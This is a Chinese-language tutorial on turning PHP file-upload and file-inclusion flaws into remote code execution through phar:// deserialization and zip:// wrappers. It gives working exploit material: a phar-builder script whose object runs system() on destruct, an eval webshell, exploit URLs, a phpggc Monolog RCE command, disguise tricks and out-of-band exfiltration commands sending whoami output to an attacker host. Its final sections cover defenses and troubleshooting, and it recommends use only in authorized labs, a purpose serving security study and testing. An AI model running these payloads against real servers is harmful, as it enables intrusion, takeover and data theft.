文件上传漏洞进阶:利用phar/zip伪协议绕过防御实现RCE

文件上传漏洞进阶:利用phar/zip伪协议绕过防御实现RCE

1. 项目概述:从一次“意外”的文件包含说起

几年前,我在做一次常规的Web应用安全评估时,遇到了一个挺有意思的情况。目标站点对文件上传功能做了非常严格的限制:白名单校验只允许.jpg,.png这类图片后缀,文件内容也用了getimagesize()做了二次验证,甚至存储路径都是随机的,防止直接访问。按照常规思路,这个上传点可以说是“固若金汤”了。然而,在测试其文件包含功能时,我传了一个精心构造的图片马,尝试用php://filter去读取,结果被WAF拦了。百无聊赖之下,我随手尝试了一个phar://协议去包含我之前上传的、看起来人畜无害的某个头像图片,服务器竟然意外地执行了我藏在图片里的代码。那一刻,我意识到,pharzip这类伪协议,在特定条件下,其威力远比我们想象的要大,它们能绕过很多基于后缀和内容检测的防御,直击应用的核心逻辑。

这就是我们今天要深入探讨的核心:phar/zip伪协议在文件上传漏洞中的实战应用。简单来说,这不是一个关于“如何上传一个.php文件”的老生常谈,而是一种更高级、更隐蔽的利用方式。它利用的是应用在处理这些协议时,对文件内部结构的解析逻辑,从而将“数据文件”瞬间变为“可执行代码”。无论你是刚入门的安全爱好者,还是想深化Web安全理解的中级开发者,理解这种攻击手法,不仅能帮助你更好地进行渗透测试,更能从防御角度深刻认识到,安全是一个立体、多维的战场,堵住一个明显的漏洞,可能只是万里长征的第一步。

2. 核心原理深度拆解:协议、封装与反序列化

要理解如何利用,必须先弄清楚pharzip伪协议到底是什么,以及它们为何能成为攻击的跳板。这不仅仅是知道怎么用,更要明白背后的“为什么”。

2.1 Phar协议:PHP的“自描述”归档文件

phar(PHP Archive)是PHP 5.3之后引入的一种将PHP代码和资源打包成一个文件的格式,初衷是为了方便分发和部署。你可以把它想象成一个专属于PHP的“.jar”包或“.exe”自解压包。一个合法的phar文件包含四部分:

  1. Stub(存根):一个PHP脚本,通常以__HALT_COMPILER();结尾。当以php pharfile.phar方式执行时,这部分代码首先运行。
  2. Manifest(清单):描述归档内文件元数据的部分,使用序列化格式存储。
  3. File Contents(文件内容):实际被打包的文件内容。
  4. Signature(签名):可选,用于验证phar文件的完整性。

关键攻击点在于phar://流包装器(Stream Wrapper)和反序列化。当PHP使用phar://协议去读取一个文件(比如include(‘phar:///path/to/uploaded/image.jpg’))时,它会做以下几件事:

  • 解析phar文件结构。
  • 将Manifest部分进行反序列化(deserialize),以获取内部文件列表和属性。
  • 根据路径定位并返回内部文件的内容。

问题就出在第二步的反序列化。如果攻击者能够控制被读取的“phar文件”(哪怕它后缀是.jpg),并且该文件的Manifest中包含精心构造的序列化数据,那么在反序列化过程中,就可能触发PHP对象的魔术方法(如__destruct(),__wakeup()),从而执行任意代码。

注意phar://触发反序列化的条件非常“宽松”。它不要求文件后缀是.phar,只要文件内容符合phar格式规范即可。这意味着,我们可以将一个恶意phar payload嵌入到一个.jpg文件中(通过添加文件头或利用合并文件工具),只要服务器端的PHP代码以phar://协议去读取它,漏洞就可能被触发。

2.2 Zip协议:通用的压缩包解析器

zip://是PHP另一个内置的流包装器,用于访问ZIP压缩包内的文件。其格式为zip://[压缩包绝对路径]#[内部文件路径]

它的行为更直观:当PHP遇到zip://协议时,会尝试将目标文件当作一个ZIP压缩包来解压并访问其中的指定文件。攻击点在于,PHP的zip://包装器在解析时,并不严格校验文件后缀。只要文件内容符合ZIP格式(即以PK文件头开始),即使它被命名为picture.jpgzip://也会尝试将其解包。

这就开辟了一条新路径:攻击者可以上传一个包含WebShell的ZIP压缩包,但将其后缀改为.jpg绕过前端检测。然后,在存在本地文件包含(LFI)漏洞的地方,使用zip://协议去包含这个“图片”,并指定压缩包内的WebShell文件路径,从而达到代码执行的目的。

2.3 与文件上传漏洞的耦合点

理解了协议本身,我们来看它们如何与“文件上传漏洞”结合。这里的“文件上传漏洞”定义需要拓宽:它不仅指能直接上传脚本文件,更包括能上传任意内容文件到服务器可访问目录的能力。即使应用对上传文件做了如下安全措施:

  • 后缀过滤:只允许图片后缀。
  • 内容检测:使用图像处理库验证文件是否为真图片。
  • 重命名:上传后文件被随机命名。

只要同时满足以下条件,攻击依然可能成立:

  1. 文件可上传:能将包含恶意Payload的phar或zip文件(伪装成图片)上传到服务器。
  2. 文件可访问:知道上传后文件的最终存储路径(绝对路径或相对路径)。
  3. 存在触发点:服务器端存在一个能触发协议解析的参数点。最常见的是文件包含函数include,require,file_get_contents等),其参数(或参数的一部分)用户可控,并且协议前缀(如phar://)未被过滤。

3. 攻击链实战构建:从上传到RCE

理论说得再多,不如亲手实践一遍。下面我将以两个典型场景,拆解完整的攻击链。请务必在授权的测试环境(如DVWA、Upload-Labs等靶场)中进行复现。

3.1 场景一:利用Phar协议触发反序列化链

假设我们有一个头像上传功能,后端代码如下:

// upload.php $allowed_types = ['image/jpeg', 'image/png']; $file = $_FILES['avatar']; if (in_array($file['type'], $allowed_types)) { $filename = uniqid() . '.jpg'; move_uploaded_file($file['tmp_name'], '/uploads/' . $filename); echo "上传成功!文件位于:/uploads/" . $filename; }

以及一个疑似存在文件包含的页面:

// view.php?img=xxx $file = $_GET['img']; // 用户可控 include($file); // 危险操作!

第一步:生成恶意Phar文件我们需要创建一个包含恶意序列化数据的phar文件。这里需要一个“跳板”,即一个包含魔术方法(如__destruct)的类,该方法能执行系统命令。

// exp.php class EvilObject { public $cmd = 'whoami'; public function __destruct() { system($this->cmd); } } // 创建phar文件 $phar = new Phar('shell.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); // 添加一个虚拟文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置存根 // 核心:将恶意对象放入manifest $object = new EvilObject(); $object->cmd = 'id'; // 要执行的命令 $phar->setMetadata($object); // 将对象序列化后存入元数据 $phar->stopBuffering(); // 将生成的.phar文件重命名为.jpg,准备上传 rename('shell.phar', 'shell.jpg');

执行php exp.php后,会得到一个shell.jpg文件。用文本编辑器打开开头,你可能会看到__HALT_COMPILER();等字样,但文件整体仍可能被某些图像库识别为“损坏的图片”。

第二步:上传并定位文件shell.jpg通过头像上传功能上传。假设返回路径为/uploads/5f1a2b3c4d5e.jpg

第三步:触发反序列化此时,我们利用文件包含漏洞,但不再尝试包含.php文件,而是使用phar://协议去“读取”我们上传的图片。

http://target.com/view.php?img=phar:///var/www/html/uploads/5f1a2b3c4d5e.jpg

include函数处理phar://协议时,它会解析5f1a2b3c4d5e.jpg的内容,发现其符合phar格式,进而反序列化其Metadata。EvilObject对象的__destruct方法被触发,执行了id命令,服务器返回了当前进程的用户信息。

实操心得:在实际渗透中,你可能不知道具体的类名和属性。这就需要配合PHP反序列化漏洞的利用,使用诸如Monolog,Guzzle等常见库中的POP链(Property-Oriented Programming)来构造更通用的攻击载荷。工具phpggc可以帮助你快速生成针对不同框架/库的phar payload。

3.2 场景二:利用Zip协议直接包含WebShell

这个场景更直接,不涉及反序列化,而是利用压缩包的“穿透”能力。

假设上传点同样只允许图片,但使用了getimagesize()进行内容校验,我们纯代码的phar文件可能无法通过。这时,zip协议可能更有效。

第一步:制作“图片”压缩包

  1. 先创建一个WebShell文件shell.php,内容为<?php @eval($_POST[‘cmd’]);?>
  2. 在Linux或使用7-Zip等工具,将其压缩为shell.zip
  3. 关键步骤:将shell.zip重命名为shell.jpg。此时,这个文件本质上还是一个ZIP压缩包,但拥有了.jpg后缀。

第二步:上传文件shell.jpg上传至服务器,获得路径/uploads/abcdef.jpg

第三步:通过Zip协议访问压缩包内文件利用文件包含漏洞,构造如下请求:

http://target.com/view.php?img=zip:///var/www/html/uploads/abcdef.jpg%23shell.php

请注意

  • zip://后面需要是文件的绝对路径
  • #在URL中表示锚点,需要编码为%23
  • shell.php是压缩包内部的文件名。

include函数处理这个URI时,zip://包装器会尝试将abcdef.jpg当作ZIP文件解压,并取出其中的shell.php文件内容进行包含,从而我们的WebShell就被成功执行了。

注意事项zip://协议对路径格式要求严格,且Windows和Linux环境存在差异。在Windows下,绝对路径如C:\xampp\htdocs\uploads\file.jpg,需要写为zip://C:/xampp/htdocs/uploads/file.jpg%23shell.php。路径错误是导致利用失败的最常见原因。

4. 漏洞挖掘与利用的进阶技巧

掌握了基础攻击链后,我们来看看在实际更复杂的环境下,如何提高利用成功率。

4.1 如何寻找隐藏的触发点?

不是每个应用都有明显的include($_GET[‘file’])。触发点可能很隐蔽:

  • 文件处理函数file_get_contents(),file(),fopen()等,只要参数用户部分可控,且拼接了协议头。
  • XML相关处理:如simplexml_load_file(),有时也能接受带协议的路径。
  • 图像处理函数:如imagecreatefromXXX()系列函数(imagecreatefromjpeg,imagecreatefrompng等)。这是一个非常经典的盲点!很多开发者认为这些函数只处理图片,很安全。但在某些PHP版本中,这些函数内部也使用了流包装器来读取文件。如果传入phar://路径,它同样会触发解析。你可以尝试imagecreatefromjpeg(‘phar:///path/to/malicious.jpg’)
  • 压缩包解压函数ZipArchive::open()。如果代码逻辑是“用户上传zip,后端解压”,那么你可以上传一个phar文件(改名为.zip),在解压时可能触发反序列化。
  • 动态函数调用$func($_GET[‘p’]),如果$funcincluderequire

技巧:在审计或黑盒测试时,关注所有将用户输入作为“文件路径”或“文件名”进行处理的地方。使用phar://zip://作为测试payload,观察服务器的响应时间(反序列化可能导致延迟)或错误信息的变化。

4.2 绕过上传检测的多种姿势

如果目标对上传文件的检测非常严格,我们需要一些技巧来包装我们的恶意文件:

  1. 文件合并(GIF89a):对于图片检测,可以在phar或zip文件内容前添加图片文件头,如GIF的GIF89a。使用命令cat /path/to/real.jpg /path/to/shell.phar > final.jpg。这样,getimagesize()检查文件头通过,而phar://解析时会跳过文件头找到正确的phar结构。
  2. 利用二次渲染:有些应用会上传后对图片进行压缩或裁剪(二次渲染)。这通常会破坏phar的二进制结构。此时,zip协议可能更稳定,因为ZIP格式在文件末尾有中央目录记录,添加在图片末尾可能得以保留。需要多次测试。
  3. 条件竞争:如果文件上传后会被立即处理(如检查、删除非法文件),可以尝试利用条件竞争,在文件被删除前快速发起包含请求。
  4. 日志污染/其他文件写入:如果实在无法通过上传点,可以寻找其他能将可控内容写入文件的地方,比如写入访问日志、错误日志、php://input写入临时文件等,再结合phar://包含这些日志文件。

4.3 无回显的利用(盲打)

很多时候,即使代码执行了,我们也没有直接的命令回显。这时需要借助外带技术(OOB):

  • 在命令中执行curl http://your-dns-server/$IFS$(whoami),通过DNS查询记录查看结果。
  • 使用ping命令,将执行结果作为域名的一部分:ping -c 1whoami.your-server.com
  • 写入Web目录一个文件:echo ‘<?php phpinfo();?>’ > /var/www/html/test.php,然后访问。
  • 对于phar反序列化,可以在__destruct方法中构造一个触发HTTP请求的Payload。

5. 防御策略与安全开发建议

了解了攻击手法,防御思路就清晰了。防御的核心原则是:最小化攻击面,对用户输入保持绝对不信任

5.1 代码层防御

  1. 禁用危险的流包装器:在不需要的服务器环境中,这是最根本的解决方法。在php.ini中设置:
    allow_url_include = Off allow_url_fopen = Off
    并考虑禁用phar包装器(但可能影响依赖phar包的应用):
    ; 通过以下方式之一 ; 1. 在php.ini中移除phar ; extension=phar.so 或 extension=php_phar.dll 注释掉 ; 2. 在代码中动态禁用(不推荐,可能被绕过) ; stream_wrapper_unregister('phar');
  2. 严格过滤文件包含的参数:永远不要将用户输入直接传递给文件包含函数。如果必须动态包含,请使用白名单机制。
    // 错误示范 include($_GET[‘page’] . ‘.php’); // 正确示范 $allowed_pages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); }
  3. 检查协议前缀:在允许动态文件路径的地方,过滤或拒绝包含://的输入。
    if (strpos($path, ‘://’) !== false) { die(‘Invalid path!’); }
  4. 安全处理上传文件
    • 使用随机文件名并隐藏真实路径。
    • 将文件存储在Web根目录之外,通过脚本代理访问(如/download.php?id=xxx)。
    • 使用安全的MIME类型检测:结合文件头检查和文件扩展名,不要依赖$_FILES[‘file’][‘type’]
    • 对图片进行二次渲染(使用GD或Imagick库重新生成),这能有效破坏嵌入的恶意代码。
    • 设置文件系统权限,确保上传目录不可执行。

5.2 架构与运维层防御

  1. 部署Web应用防火墙(WAF):配置规则拦截包含phar://,zip://,php://等危险协议串的请求。
  2. 定期更新PHP版本:新版本通常会修复流包装器相关的历史安全问题。
  3. 最小权限原则:运行PHP-FPM或Apache进程的用户权限应尽可能低,避免其能执行敏感系统命令。
  4. 安全代码审计:将“文件包含”、“反序列化”、“流包装器使用”作为代码审计的重点项目。

6. 实战排查与疑难问题解决

在实际利用过程中,你可能会遇到各种问题。下面是一些常见坑点及排查思路。

6.1 常见错误与排查表

现象可能原因排查步骤
使用phar://包含后页面空白或500错误1. 文件不是有效的phar格式。
2. 反序列化链不存在或环境不满足。
3. PHP配置phar.readonly=On(影响生成,不影响包含)。
4. 目标函数不支持流包装器。
1. 检查生成的phar文件,用php -lPhar::loadPhar()验证。
2. 检查是否包含必要的类(POP链)。
3. 尝试包含一个正常的phar文件测试环境。
4. 换用file_get_contents(‘phar://…’)测试。
zip://包含无效,返回“No such file”1. 路径错误,特别是绝对路径和%23编码问题。
2. 文件不是有效的ZIP格式。
3. 内部文件路径错误。
1. 确认服务器上的绝对路径。在Linux下使用realpath()函数定位(如果有可能)。
2. 用unzip -l yourfile.jpg检查伪装的zip文件是否正常。
3. 确保#后的文件名与压缩包内完全一致。
上传的文件被破坏服务器端进行了图像处理、内容过滤或编码转换。1. 尝试将payload放在文件末尾(对zip更友好)。
2. 尝试不同的文件合并方式。
3. 寻找不上传图片,而上传其他文件(如txt、pdf)的功能点。
无回显,不确定是否成功命令执行成功但没有输出。1. 使用OOB技术(DNS、HTTP请求)验证。
2. 尝试写入Web目录一个测试文件。
3. 执行sleep 10命令,观察请求响应时间是否明显变长。

6.2 高级技巧:Phar与反序列化POP链的构造

这是phar利用的难点和精华所在。你需要找到一个从反序列化入口点(__destruct,__wakeup)到危险函数(如system,eval,file_put_contents)的调用链。

工具推荐

  • phpggc:一个强大的PHP反序列化payload生成工具,集成了大量主流框架和库(如Laravel, Symfony, ThinkPHP, Monolog等)的POP链。你可以直接用其生成phar文件:./phpggc -phar Monolog/RCE1 system ‘id’ > shell.jpg
  • PHPGGC-Custom:如果需要审计自定义代码,需要手动分析魔术方法和类属性之间的调用关系。

思路

  1. 通过报错信息、源码泄露(.git)或组件识别(如Composer的vendor目录)确定目标使用的PHP库和框架。
  2. 在phpggc中寻找对应的POP链。
  3. 生成payload并测试。

在我个人的多次实战和CTF比赛中,phar反序列化往往是与文件上传结合后,拿下高权限节点的关键一步。它考验的不仅是漏洞利用技巧,更是对PHP底层机制和第三方组件安全性的深刻理解。防御方同样需要意识到,仅仅守住文件上传的后缀和内容类型是远远不够的,必须对数据在整个应用生命周期内的流动和处理逻辑,保持全方位的安全审视。